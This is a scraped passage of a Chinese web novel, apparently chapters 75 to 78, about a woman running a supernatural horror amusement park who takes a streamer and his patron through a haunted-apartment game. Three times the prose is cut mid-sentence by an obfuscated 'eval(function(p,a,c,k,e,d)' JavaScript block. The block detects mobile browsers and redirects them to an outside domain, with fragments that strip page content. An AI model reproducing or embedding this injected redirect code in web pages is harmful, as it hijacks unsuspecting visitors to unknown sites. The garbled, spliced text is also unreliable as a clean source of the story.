神使呜呜嗯嗯半天,才从她手里挣脱出来。 郝荨点开迷雾乐园的大地图,除开中央这片靠湖的区域外,湖边的那座山也亮了起来—— 【玩家代号:园长】 【天赋:资本家】 【门匙:迷雾乐园】 【等级:LV5(崭露头角)】 【游乐项目:大型系列游戏“幸福公寓”(可拆分)、“鱼人节盛宴”、“卷王自习室”】 【配套设施:鱼人餐厅、员工休息室】 【员工:11.5】 【请园长确认“卷王自习室”和“员工休息室”的安置位置。】 “11.5?” 看到这个数字的瞬间,她的心一下提了起来。 她的乐园里不会有鬼吧?! 啊,不对。 她的乐园里包括她在内,一个正常人类都没有啊。 那没事了,自己吓自己。 【那0.5是我。】 神使分神操控机器人“小雾”滑了过来,乐园升阶之后,最大的受益人就是这个小机器人,再也不会莫名其妙摔跤,只能向这个讨人厌的园长求助了! 【我只是借调过来的合同工,编制属于神明大人!】 神使自豪地抬起“下巴”,像是在等待着什么。 郝荨:“……你真厉害。” 神使满意了,它大方地把升阶奖励在权限范围内微微上调一并发放给她: 【你获得了:“神明赠礼”x1,“小狗的秘密宝物”x1,称号:“回头客杀手”】 【升阶考核通过,门匙天赋升级。】 【技能:我是自愿加班的】 【品阶:蓝】 【描述:危急时刻,玩家可召唤员工出现,时限:十分钟,每场游戏可召唤次数+1。】 【备注:优秀的员工理应懂得为老板排忧解难,哪怕是在私人时间。但请注意,员工也是有脾气的,每场游戏每位员工仅可召唤一次。】 【道具:小狗的秘密宝物】 【描述:这是一只会“叽叽”叫的橡皮老鼠,是流浪小狗最珍贵的宝贝,送给最喜欢的人类。】 “汪!” 湿漉漉的小老鼠被狗狗同样湿漉漉的鼻尖拱到郝荨脚尖,她捡起这只做工粗糙的小老鼠,见她接过,大狗兴奋地在原地一蹦三尺高,尾巴拼命摇着,它的尾巴尖断了一截,摇起来好像个小螺旋桨。 “汪!” 郝荨摸了摸它的脑袋:“好乖哦,让我想想,给你取个什么名字好呢……” 神使冷不丁开口: 【你有钱养狗吗?】 【我看你们人类养宠物可费钱了,一碗泡面才三块,宠物罐头平均八块一罐,你生个病二十块,它随随便便就能生个两千块的小病——】 “两千块?!” “汪!” 郝荨震惊,她过去二十几年连养活自己都困难,养宠物对她来说更是天方夜谭,也从没了解过这方面的事,更不知道想养好一只狗狗可比养人类困难多了。 “一场病就要两千块……” “汪!” 虽说流浪狗作为迷雾乐园有编制的员工,轻易不会死,可是…… 她看向棕黄色大狗那双湿润的眼睛,里面满满盛着的都是对她的信任。 见她苦恼,大狗也歪过脑袋想了想,然后轻轻把头放在了她的膝盖上,暖烘烘的。 郝荨叹了口气,这谁能狠心拒绝! “两千块就两千块吧——” “汪!” “我现在可是堂堂资本家,不能抠抠搜搜的,以后叫你什么呢?” 郝荨摸了摸它的耳朵:“大黄?来福?○夜叉?” 大狗耳朵动了动,没有反应。 “都不喜欢吗?” 郝荨苦恼地挠了挠头,黑色眼球看着一人一狗的温馨场面,不知为何有些烦躁,它冷笑一声: 【升级游乐园拿不出钱,两千块养只狗倒是大方的很——】 “汪!” 【你叫什么?!只有你会叫吗?!我——】 “等下。” 郝荨捏住眼球,她试探着开口:“……两千块?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630705|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大狗一下挺直胸膛,两条前腿踩在地面站得笔直:“汪!” 郝荨:…… 如果她没猜错,这只大狗可能、或许……误以为自己叫“两千块”了。 【哈!】 哪怕被郝荨捏在掌心,神使也要挤出声音,艰难发出这声嘲笑。 郝荨决定当做没听到,她冷静接受了这个事实,然后毫不留情地将手塞进了神使嘴里,恶声恶气道:“抽卡!” 【唔、唔——】 一团闪着金光的漂浮物被她掏出,金光消散,留下了一架郝荨只在童话里见到过的西式敞篷小马车。 【恭喜玩家获得交通道具:乌拉拉】 【道具:乌拉拉】 【品阶:紫】 【描述1:乌拉拉是一匹喜爱刺激与欢乐的小马驹,她最爱做的事就是将所有生物甩在她的身后,有时,也包括坐在她车上的伙伴们。】 【描述2:乌拉拉的速度非常快,与她的速度成正比的是她甩尾的能力,如有不适,请立即吞服晕车药物,迷雾商城链接地址:……,现打九九折,欲购从速。】 郝荨跳过最后一行广告,没有人可以从她手里赚到一毛钱,迷雾游戏也不行! 她眼神热切地望着这匹尥蹶子的小马驹,眼神热切。 紫色品阶的交通工具! 还可以多人乘坐,就甩尾这一点点副作用,还要什么自行车! 她将乌拉拉放出来,让她在游乐园随意撒欢,然后她看向了最后一个奖励—— 【称号:回头客杀手】 【描述:念念不忘,必有回响。拥有回头客的游乐园的才是好游乐园,游客回头率增加百分之三十。】 “是这儿吗?” “迷——雾——乐——园,标牌没错啊!” 两胖一瘦三个男人顺着铁栏缝隙往内看去,其中一个矮矮胖胖的男人眉头一皱,对着乐园大门拍了张照片:“嘶……有点古怪。” 另外那个脖子上挂了个大金链子,脑门光光的,有点不耐烦:“王小明,我可是给你面子才来参加这劳什子水友见面会,要是不好玩儿我可去找别的主播了!” 要不是看在大家都姓王,八百年前指不定是一家的份上,他才不会当男主播的榜一大哥呢。 有什么意思! 王明满脸谄媚,之前他来抹黑这儿是为了当时的榜一大哥,结果没想到,被吓晕了不说,任务没完成,榜一大哥也不见了。 赔了夫人又折兵! 他当时就发誓自己这辈子再也不会来这里,可谁知没过几天,平台新开了个活动,号召主播展开水友见面会,“社会你王哥”作为他现在唯一的有钱大哥,他求了好几天,对方才纡尊降贵同意来参加。 只有一个要求——刺激! 活动一定要刺激! 王明偷偷啐了一口,还是美女主播好,打扮得花枝招展跟人吃个饭就行,哪像他这种靠自己卖命做苦力的,费半天劲也只能赚点辛苦钱! 不过上次的经历着实给他带来了不小的心理阴影,总觉得这游乐园有鬼! 回家好多天了他还能梦到那只大章鱼呢! 不过这次他做好了万全准备,不管这个游乐园有多恐怖,绝对不会再吓到他! 他看向已经掏出个小八卦镜,神神叨叨的同伴,这个外号“弥勒”的同伴是他认识多年的网友,看着身量不高,人也胖乎乎的,可王明知道,这网友以前是圈里混的,认识很多得道之人。 据他说,要不是他妈死活不肯,他都已经拜入真人门下不沾尘世因果了! 哼! 有这样的朋友在,别说小小一个大章鱼了,就算这游乐园真有鬼—— 他!王明!顶天立地的大男人! 也绝对!不会说出“怕”这个字! 76. 谁怕了!我只是在做直播效果!…… 郝荨将员工休息室和自习室放到离广场稍远一些的湖边,新的休息室窗明几净,自带洗手间,她总算是脱离了刷个牙都得去公共厕所打水的困境,正准备去广场巡视一下,就发现外头来了三个客人。 里头还有个熟人! “是你啊?” 她招了招手:“我记得……你是主播?上次突然晕倒吓了我一跳呢,身体没事吧?” 王明咬牙,这人怎么哪壶不开提哪壶! “咳咳,我上次是熬夜太久,不小心睡着了。” 他忙转移话题:“这次我带朋友一起来玩儿,看见了吗?我王哥,不差钱!把你们这儿最刺激最好玩的项目端上来!” 郝荨打量了一下被称为“王哥”的男人。 大金链子大手表,T恤外头的手臂上纹了条花里胡哨的龙。 看起来凶神恶煞,她琢磨了一会儿,这应该……胆子很大吧? “是这样的,你们也看到了,我们迷雾乐园呢刚刚改版,除了造景有了巨大提升外,游乐项目也有很大的变化。” 她边说边打开大门,将几人往广场处带。 “我们现在主打的是沉浸式游玩,要是想玩儿刺激的话,可以玩我们的大型融合游戏【幸福公寓】。” 王明差点被荆棘刺糊一脸,他心有余悸。 一个游乐园,搞这什么花花草草的有个屁用,也是,这乐园园长是个女人,一看就不专业,难怪有钱不花在正道上,就知道搞这邪门歪道没用的东西。 他绕过高大的灌木丛,刚一回头,就被震在了原地。 那是什么! 一颗巨大的黑色眼球静静地飘在空中,与他对视。 四肢不自觉发软,那猩红色的瞳孔缓慢滚动了一下,然后慢慢变成了竖直。 他被选中了! 头皮一阵刺痛,好像有什么东西撬开了他的脑子,将什么灌注了进去,他的灵魂开始变轻,慢慢飘起。 他要被吸走了!! 刺目的阳光将他的影子拉得很长,没有人发现,在他脚下,那道阴影像是被什么刺激到,边缘逐渐模糊,不断有什么溃散重组,发出了常人听不见的沙沙声。 王明瞳孔疯狂震动,很想求救,身体却动不了半点。 “你还好吗?” 一道清澈女声猛地划开他混沌的大脑,像利刃一般将迷雾破开,王明剧烈喘了口气:“我——” 手脚忽然有了力气,他正要逃跑,转身却撞上了榜一大哥那张不耐烦的脸。 “王小明,你到底行不行啊?” 王哥瞟了眼那雕塑,心里也有点发憷,嘴巴倒是很硬:“不就一个会动的球吗?这你也怕?” 大哥生气了! 意识到这点的王明立刻挺直腰杆:“谁说我怕了!我看它做工不错,就停下看了一会儿,耽误王哥时间了,不好意思啊。” 他用余光看了眼弥勒,见弥勒低着头,没什么反应,他松了口气。 看来只是他神经过敏而已。 郝荨点开小地图看了眼,这三个游客的Q版小人头上都顶了个小小【战栗】BUFF。 看来神使没有诓她,这座雕塑的效果确实不错。 “那我继续介绍了,【幸福公寓】由多个小型游乐项目组成,NPC很多,难度也不等,如果大家时间比较紧的话可以选择其中1-2个感兴趣的玩一下,像我们之前的【兔子之家】也是这个系列的。” 她将几人带到公寓外站定:“如果几位时间足够,我还是推荐大家直接玩【幸福公寓】,大家会花现实中两天一夜的时间来经历一场绝对刺激的奇幻冒险,有众多专业演员参与,也有最前端的科技和道具,绝对真实,绝对恐怖!” “两天?” 王明有些犹豫,他的直播时长还好说,大不了重拾老本行,在游戏里偷偷开直播水时长,可他王哥的时间可金贵了,能答应吗? “要不咱们——” “玩!” 王哥摸了摸光溜溜的脑袋瓜:“爷跑这么远过来,不玩个尽兴怎么行!就这什么公寓了!” 郝荨好心提醒:“真的很恐怖哦,这个游戏含有血腥和追逐元素,心脏不好有高血压的可不能玩。” “少啰嗦!叽叽歪歪的,”王哥骂了一句,“女人就是话多!” 郝荨倏地住口,礼貌的微笑收起,明明还是刚毕业大学生的模样,眼角眉梢却已经带上了冷厉气质。 不过这表情只维持了一秒,她很快就转开了脸,吩咐道:“小雾,知情同意书。” 圆头圆脑的白色机器人无声无息地滑来,从肚子里掏出了三份文件。 “搞这么正式……”王哥嘟囔了一句,龙飞凤舞地签下自己的大名“王德发”,“好了!什么时候开始?” “马上。” 她把文件塞回机器人的肚子,朝它使了个眼色,机器人的光屏闪了闪,出现了一个冷冰冰的微笑符号。 “稍等,我很快回来。” 郝荨快步走向休息室,从里面翻出三个老式手电筒,银白色铝壳,扭开尾巴,里面是两截没多少电的电池。 神使从窗口飞进: 【我跟两千块说了,这几个游客迫不及待想跟它一起玩,它很高兴。】 冷淡的机械音里带着点幸灾乐祸。 郝荨点点头,重新回到了公寓门前,王明正一手拿着一枚小小的GoPro,想将它别在自己胸口,另一手扶着栅栏蹲下,王哥那庞大的身体踩在他瘦小的身板上,似乎想抱着栅栏翻进去瞧瞧。 她看着那根眼熟的尖锐栅栏,脚步一顿。 “唉哟!” 王哥脚一滑,王明一下没托住,两人摔作一团。 郝荨特意在原地等了一会儿,等弥勒将他们二人扶起,她才上前将手电筒分发给他们: “C级副本【幸福之家】目前是我们乐园最高难度的副本,危险性极高,请注意!你们作出的选择将会影响里面每个角色的未来——当然也包括你们自己的,如果实在害怕的话可以朝任意一个方向比出暂停手势,我会派人接你们。” 见他们左耳进右耳出,只扒着门想快点进入,郝荨加快语速:“接下来我将为大家讲述此次游戏的背景,中元节,鬼门开,幸福公寓的204号房发生了一起灭门……请在中元节到来之前,超度亡魂。” 话音落下,一阵凌乱的脚步声从楼内一下涌出,四面八方都是孩童诡异的笑声,刺耳的童谣声响起: “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找。老大轻轻跃楼下——” “砰!” 巨响响起,王明三人吓了一跳,他条件反射般回头望去—— 一具血淋淋的身体赫然摔在他们刚刚爬过的栅栏上,一下将身体捅了个对穿。 “我【哔】!!!” 王哥反手就是一巴掌,蒲扇大的手掌毫不留情地拍向王明后脑:“叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660805|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么叫!吓老子一跳!” 王明被扇得晕头转向:“不是、人!有个人——” 掉下来了。 铁栏上干干净净,只有些岁月留下的锈迹。 王明怔怔地看了看栏杆,又呆愣地看向王哥:“你们…你们没看到吗?” “看到什么?!” 王哥粗声粗气道:“你是不是收了老板的钱,搁这当气氛组给人打广告呢!王小明,你可别忘了你是靠什么发家的!” 王明嗫嚅半晌,咽了口口水,挤出一个笑来:“没忘,没忘!我这不是搞点直播效果嘛!” 说着,他举起手中的相机,招呼道:“大清早的,家人们是不是都被我叫醒了?” 【醒了醒了,我爷都从棺材板里跳出来了!】 【主播今天还是去上次那个游乐园啊?】 【可别又晕了,我说出去都嫌丢人!】 弹幕上一片嘲笑声,他稳了稳心神,作为娱乐主播,被人骂那根本就不是事儿,倒不如说,他还会特意做点离谱的事讨人骂,这样才有热度。 有热度,才有钱。 王明很清楚这一点,他已经跑了一个大哥,王哥是决计不能再丢的,除了王哥,他还得广撒网,再想办法骗几个大哥来。 “上次主播没休息好,这次呢,主播就是来一雪前耻的!看!” 他特地把C位让给王哥:“这位大家应该都认识,是咱们主播间的榜一大佬‘社会你王哥’,让我们欢迎王哥!” 【哇!王总居然露脸了!】 【王哥!我是你未曾谋面的亲儿子啊!】 看到土豪,直播间的观众们就好像蝗虫一样一下子全部涌现出来,王哥被夸了一通,舒坦得不行,有了面子,他也就不计较王明刚刚吓他的事了。 毕竟,这样才显得他更加英明神武啊! “行了,你好好播,回头我给你刷个帝王套。” 王明眼睛一亮:“谢谢王哥,王哥大气!” 等王哥看腻了夸夸,他迈开脚步,边往公寓里走边介绍:“这项目是游乐园新开的,两天一夜,时间很长,我今儿就挑战挑战,咱们直播间探店时间最长的记录!让你们看看我专业主播王小明的职业素养!” “汪汪汪汪!” 一只棕黄色大狗从灌木丛里窜出,王明先是一抖,随即怒上心头,他在榜一大佬面前装孙子也就算了,这不知道哪儿来的土狗也敢冲他乱叫?! 他四下看看,寻摸到一根婴儿手臂粗细的树枝,见他要打,那狗转身就跑。 “还敢跑?!” 他刚要追,公寓门突然打开,一个看起来四五十岁的中年男人乐呵呵地从屋里走了出来。 王明一听就知道,这个叫“田叔”的是【幸福公寓】的指引NPC。 田叔脸上乐呵呵的,一副老好人的样子,却一把将他手里的树枝夺过,王明下意识后退了两步,然后才反应过来,这是游戏,NPC是不可能对他动手的。 但他看着对方那双黑黝黝的眼,不知为何还是有点心慌。 王哥大摇大摆地走在第一个,王明拽了拽弥勒,没有拽动。 “怎么了?” 他回过头,一直沉默的弥勒此刻仰着脑袋,手里攥着的八卦镜几乎要被他捏碎。 王明顺着他的方向看去,只一眼,他就从心脏凉到了脚后跟。 这栋公寓的三楼,一张泡得肿胀发白的死人脸正挤在栏杆中偷看他们! 77. 你的心跳好快 滴答。 水滴从那张脸上滑落,正巧落在了王明的眼中。 他骂了一句,使劲揉眼睛,也不知道这水脏不脏! 见此情景,那张发胀到连五官都看不清的脸笑了笑,收回了脑袋。 弥勒犹犹豫豫道:“小明…咱们不然撤吧?” 王明眼睛也不揉了,他把GoPro移开,压低声音:“撤什么?那就是个化了特效妆的演员而已,你不会被吓到了吧?” 他想起什么,声音压得更低:“难道说,你发现了什么?” 王明打着算盘,这游乐园没鬼最好,他这次来之前特地连续看了五十部恐怖片,有鬼的没鬼的心理惊悚的血腥暴力的……全都刷了一遍,保证就算是演员贴脸也绝不会大声叫出来! 他选择性遗忘了自己刚刚的惨叫。 这样的话,等那些鬼演员跳出来吓他们时,他还能保护王哥,王哥要是看见他这么上道,说不定到时候不止一个帝王套,两个三个也未尝不可能啊! 到时候榜一大佬保住了,说不定直播间也会有拜倒在他运动裤下的水友们,一举两得! 当然,要是有鬼也没关系,他带上弥勒不就是为了这个吗! 到时候让弥勒将鬼解决掉,他就能安安稳稳从揭秘主播转型成抓鬼主播,既有刺激的噱头又有技术含量,这赛道的主播也少,指不定,他还能混成个大主播当当! 一举三得! 王明有些唏嘘,这年头主播圈也不好混,豁得出去不要脸的主播太多了,就连人人喊打的揭秘主播也有大把人想当,要不然,他也不会在这费劲巴拉地想尽办法挤进玄学赛道了! 弥勒不知道王明在想什么,他把八卦镜塞回口袋:“还不好说……我就是觉着有点不对。” “没事。” 王明一把勾住他的脖子:“这才刚开始呢,就算真有鬼也不会现在来的!” …… 真的有鬼!!! 王明此刻恨不得把早前自己说的话吞回去! 他拼命抵着门,汗流如注,门外的黑色怪物四肢趴伏在地,巨大的头颅向里挤着,黑色的烟雾碎屑从门缝里飘进,王明不小心吸了一点进去—— “咳咳!” 他实在没忍住,咳了一声。 门外的怪物更兴奋了! “找——到——你——啦——” 年代久远的防盗门摇摇欲坠,王明四肢用力,使尽全身的力量将门抵住。 王哥和弥勒也不知道跑哪去了,他们进入游戏后就跟着田全将楼里的人认了个大概,王哥见那个叫“施婉婉”的NPC漂亮,看着像是哪个电影学院的学生,就说要去找人要个电话,让他们别跟来。 王明当然知道他要去干嘛,不过这里是游乐园,到处都是监控,王哥也做不了什么,多半就是去揩点油,又不是揩他的油,他也没在意。 何况,王哥那么有钱,他要是那个女学生,指不定还自己扑上去呢! 王哥离开后,他和弥勒一块继续玩游戏,这公寓看着就和所有老房子一样,普普通通,除了那个死了人的家里看着有点杀人现场的样儿有点恐怖外,连个鬼影都没有。 因为太过无聊,观众跑的跑,睡着的睡着,他正想自己做点效果,窗外的景色忽然暗了下来。 不知道这老板怎么做到的,明明还是大上午,这栋楼却像是被吸进了黑洞似的,一点天光都看不见。 然后,那诡异的童谣声就响了起来。 再接着,这个高大到几乎塞满整个楼道的怪物就一点点从大门爬了进来。 他揭秘过许多沉浸式游戏,见NPC见得比见他爹都勤,许多鬼屋和剧场里的怪都是由人类演员扮演的,劣质的血浆、沾满灰尘的旧衣服,还有那演员自己随便化的根本算不上特效妆的妆效…… 即便是从国外引进的高端鬼屋,只要还是由人类扮演就多少能看出个人型。 可这个怪物! 浑身上下没有一丁点像人类的地方,明明是两只手两只脚,连三头六臂都没有,却给人一种极为怪异的非人感。 他只回头与这怪物对视了一眼,就看到自己浑身上下连头发都竖了起来,浑身上下每个细胞都叫嚣着“快逃”! 王明喘着气,手指颤抖,脚下也开始打滑,几乎要摁不住这扇门。 见鬼的,弥勒到底去哪了?! 他口袋里的手机屏幕上,花花绿绿的弹幕重新刷起: 【怎么了怎么了?我就去看了别的主播一会儿,王小明咋地了!】 【好像什么东西在推门,有人看清了吗?】 【晃得我都快吐了!】 【前面的等着,我截图了。】 没过几秒,评论里突然出现了一张直播截图,点赞评论以极快的速度往上翻着。 【护体!!!!!】 【我靠!什么鬼东西?!】 那张截图本来很模糊,像素低到好像用座机拍的,可正因此,反倒更加可怕。 幽深狭窄的走廊尽头,一个高大到只能匍匐下来的黑色怪物四肢着地,像碎屑又像是飞虫的黑色颗粒从它身上溢散开来,它静静地看着镜头,露出了一个兴奋至极的笑,嘴巴大大张着,像是在跟镜头说着什么。 更恐怖的是,看得久了,似乎还能看到它身边有几处地方,很像小孩的鬼脸! 这张照片没过几分钟就被闻讯而来的管理员删除。 可已经来不及了,越来越多的人听说了这件事,纷纷点进王明的直播间,一时间弹幕都卡了几秒。 【我来了!听说这里有好东西看?】 【演的吧?这什么都没有啊!】 手机一直震动,将王明的甚至震回了些许,他将身体抵在门上,空出手掏出手机,然后猛地瞪大了双眼。 这热度!他火了?! 【啥都没啊!没意思,兄弟们走了。】 【走了走了。】 别啊! 王明急了,这热度,不正好让他转型吗?! 他快速翻了一眼评论,原来是有人手快截了这个怪物,才引来了这么多新观众。 王明咬咬牙,拼了! “看来咱们频道有很多新来的家人们啊,自我介绍一下,我是专业探鬼主播王小明,现在主播呢,正在山海市的郊外,这里有个废弃乐园,前不久还死过人呢!” 在他的春秋笔法下,郝荨正正经经的游乐园成了没人敢去的危险之地。 “主播来的时候还以为只是一次普通的探秘,没想到——真的有鬼!” 他忽然拔高声音,吓了观众一跳。 “那怪物就在门外!主播正在和它进行拉锯战!水友们给主播鼓鼓劲,为了大家,主播豁出去了,带大伙一起见见世面!” 王明虽然混得不怎么样,催礼物的手段倒是熟练得很,一时间直播间各种特效闪过。 “谢谢,谢谢大家,大家做好准备,主播要冲了!” 他给自己数了三个数,等门外的冲撞稍稍停歇,他一下拉开门——拉开一条门缝,把GoPro从中递了出去。 直播间的观众猝不及防,感受到了和怪物脸贴脸的快乐: 【啊啊啊啊啊啊什么鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686298|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!!】 【离我远点走开啊啊啊!】 许多新来的观众还以为主播是在故意做效果,故意P了张低清像素图骗人,谁知道王小明居然没骗人,直播间真的有怪物! 王明的GoPro自带夜视功能,灰白的画面上那怪物清晰可见,黑色的外表上弥漫着淡淡的黑灰,像是被什么烧焦了。 看不出一点缝合的痕迹,就像这个怪物本来就长这样似的。 王明“咻”一下收回手,看着直播间节节高升的热度咧开嘴笑了,赚了! 隐秘的沙沙声再次响起,一条弹幕划过屏幕: 【是我的错觉吗?主播的影子好像在动……】 这条弹幕很快就淹没在了无数弹幕和礼物特效里,没有留下一丝痕迹。 * 天色暗下时,王哥刚刚敲开施婉婉的房门,她湿着头发,扑鼻而来一股沐浴液的芬芳。 王德发嗅了嗅,这味道,他喜欢。 与此同时,危险的童谣声响彻整栋幸福公寓,云玩过很多密室的他很清楚,这是游戏在说,鬼怪要出现了。 “美女,你们这公寓里这么危险,我借个屋躲一躲——不过分吧?” 施婉婉上下打量了他一番,露出了一个意味不明的笑。 “进来吧。” 她让开位置,王哥进来后反手关上门。 施婉婉的屋里也没有开灯,她伸手点了根女士香烟,想了想,又夹着香烟点燃了一支蜡烛。 烛火晃动,她的脸藏在暗处,令人看不清神色。 “美女,在这么偏的游乐园打工是不是很辛苦?一年到头能赚几个钱啊?” 施婉婉没有回话,王哥也不气馁,他继续开口:“你是影视学院的学生吗?还是自学的,演得真好!” “我知道,现在很多漂亮女生都有个演员梦,正常,大明星嘛,谁不想当?要不是我还有点自知之明,我老王也想自己投钱拍个两部电影过过瘾呢!” 这话有两层意思,一层表明了他不会看不起这些梦想当演员的漂亮女孩,也知道要不是她混得不好,怎么会跑来游乐园当个小NPC?另一层则是暗示自己有钱,拍两部电影的钱对他来说就是洒洒水,小意思。 只要跟了他,钱肯定不会少,要是他开心了,前途说不定也会有。 一般这种时候,识趣一点的呢,就会自己贴上来了。 毕竟他自诩也是个有格调的男人,怎么能自降身份去当舔狗呢? 施婉婉轻轻笑了一声,她站起身,走到了王哥身后。 紧接着,她俯下身,一口浅白的烟雾缓缓吐在王哥耳旁:“可是,我已经有男朋友了。” 她的声音很柔,比他之前泡过的任何一个女孩都要柔,他瞬间酥了半边身子。 “这有什么?”王哥大度道,“这年头,漂亮女孩有几个男朋友是多正常的事,我可不是那种在乎这些的人!” 施婉婉又笑了,轻笑声环绕在王哥身旁:“真的吗?” 王哥刚想回答,忽然,有什么东西落在了他耳朵里。 他抹了一把,是什么块状的小颗粒,一团一团的。 “你把烟灰吹我耳朵眼里了?” 他眉头一皱,正要发火,却忽觉不对。 王哥缓缓扭过脑袋,昏暗的烛光下,施婉婉那张本该美丽动人的脸被潮湿的泥土糊满,露出来的颈部肌肤泛着窒息身亡的青紫。 她伸出手,冰凉到不似活人的手指按上他的脖子,感受着手下逐渐加快的颈动脉,施婉婉歪过脑袋: “你的心,怎么跳的这么快呀?” 78. 二对一,优势在我。 “你的心,怎么跳的这么快呀?” 王哥双目暴突,浑身上下的血液一下冲到脑子里,嘴巴想说什么,却只能发出“嗬”“嗬”的气音。 “怎么不说话呀?不是要给我拍电影吗?” 施婉婉靠得更近,王哥甚至能清楚看见她黑洞洞的瞳孔。 扩大、涣散,那绝对不是活人的眼睛! “啊啊啊滚开!!!” 王哥不知哪来的力气,一下推开施婉婉跑了出去,屁滚尿流。 “谁在叫?”王明仔细倾听,有点不确定,“好像是王哥?” 在保命和保钱中,王明颤抖着选择了保钱。 他深吸几口气,拾起一把破椅子,大叫一声给自己壮胆—— “王哥!我来保护你!!!” 随即一把推开屋门,甩着椅子拼命挥舞:“我!我朋友可厉害!你要是敢动我小心他收了你!!!” 他闭着眼,一通乱拳中似乎打到了什么,那怪物发出一声惨叫。 我这么神? 王明一愣,紧接着就是狂喜,他正要再接再厉——椅子忽然停在半空,动弹不得。 “王小明你疯了?!!” 声音很熟悉,王明明悄悄睁开一只眼,眼前的场景并不是他想得那样,自己大发神威暴打怪物,走廊里空空如也,只有沉着脸,气急了的王哥。 四周天光大亮,天亮了。 王明双腿一软,直挺挺跪在王哥面前。 “哥,你听我解释!” 王哥扔开椅子,动作拉扯下,头上的大包更是疼痛。 他刚想来一套素质十八连就想起对方还在直播,硬生生将要脱口而出的脏话咽下,王哥越想越气:“你怎么搞的,想我死就直说!怎么带我来这么恐怖的地方?!” 王明:…… 青天大老爷啊! 不是你说要刺激,不刺激的不要吗?! 倍感冤枉的王明在心里无能狂怒,然后卑微开口:“那要不,您先出去?” “……那你呢?” “我得留下来呀,就不说还在直播这事,弥勒还没找到呢!” 王明已经打定主意要靠这波热度转型,这时候卖一波王哥的好感值,一方面让他安全出去,先把给自己的帝王套兑现了!另一方面也能告诉观众,他王小明舔归舔,关键时刻还是很有担当! 做他的大哥,不亏! 况且,王哥越害怕,越能说明直播间的真实性,也能凸显出他的厉害之处。 王哥眉头一皱:“不行!” 三个人进的游戏,就他一个出去? 他这面子往哪搁?! 但要他留下来……王哥打了个哆嗦:“你,跟紧我!先把你那朋友找到再说!” * 没有被光照到的墙角。 一株小小的嫩芽晃了晃,顺着阳台攀爬而下回到了丁婆身边。 “这群小年轻胆儿还挺大。” 她摸了摸两千块的头:“这样的话,咱们也就不用留手了,第一批客人,总要让他们…尽兴而归。” 两千块甩了甩脑袋,表示同意:“汪!” * 王哥和王明两人从一楼找到三楼,终于找到了弥勒,他背对着他们,似乎在跟谁说话。 “弥勒!” 王明冲上去就推了他一把:“你跑哪儿去了?!我跟王哥还以为你出事了!” 弥勒打了个趔趄,好在他及时撑住身体,才没有压到身前的人。 王明这才发现他跟前有个个子矮矮的小女孩,看着面黄肌瘦的,衣衫破旧,神色有些紧张害怕。 弥勒脾气很好,他非但没有因为对方动手而发火,反而将手中的线香递过去。 “我刚刚去找超度相关的线索,找到了这个。” 王明拿过线香,在镜头里给观众展示:“家人们别怕,我们有香了!” 【就几根破香,能有啥用?】 【前面的不懂就别说话,你去求神拜佛甚至是烧你祖宗可都要点这个!】 弥勒凑过来看了眼弹幕,解释道:“是的,所谓‘三柱真香通信法,三界神明降福来’,简单来说,只要诚心烧香,就可以与三界神明鬼怪沟通。” 【这是主播朋友吗?懂得好多。】 王明表情一僵,他不着痕迹地把弥勒挤到镜头角落。 “家人们有福了!今天,我王小明就要带大家亲自看看这里的鬼是真是假,是假的呢我就给大伙打假,真的那就刺激了,让你们看看我王小明亲自超度鬼魂!” 他语气夸张,一下就吸引观众的注意。 “对了,这小孩哪来的?你刚跟她说什么呢!” “哦,”弥勒抠了抠头皮,“她是304的小孩,刚刚怪物来的时候是她拉了我一把。” 王明一愣,凭什么啊?! 凭什么他就要被怪物堵门,让观众看到他那副怂样,弥勒这小子就有NPC帮忙? 王明扭头:“王哥,要不先送你出去?” 王哥这会有点缓过来了,现在想想,施婉婉也没有很可怕嘛,就是糊点泥,身上温度低点而已,这有什么大不了的! 别说她多半不是女鬼,就算她真是女鬼又能对他怎么样? 不都说女鬼怕阳气,他王德发出了名的阳气旺! 况且线香都有了……他摸了摸下巴,伸出手去:“香给我。” 这么关键的道具,还是放在他这里比较安全。 王明很舍不得,可看在帝王套的份上,他还是把线香交了出去。 “咳。”王哥清了清嗓子,“我承认,这个游乐园是有点刺激,演员的皮套和特效妆都做得很真实,但仔细想想也没什么大不了的,不就一个大点的怪物和女鬼吗?我们三个大老爷们还能怕俩鬼怪?!” 王哥盘算着,要是真遇到了,他完全可以让王小明和弥勒一人抱住一个。 他也是为了他们好,王小明这一看就是废宅,弥勒又胖又矮,明显是他这个人高马大膘肥体壮的好跑出去喊人啊! 见王明还想说什么,王哥不耐烦地挥了挥手:“行了,就这样!” 就这样? 就这样个头!!! 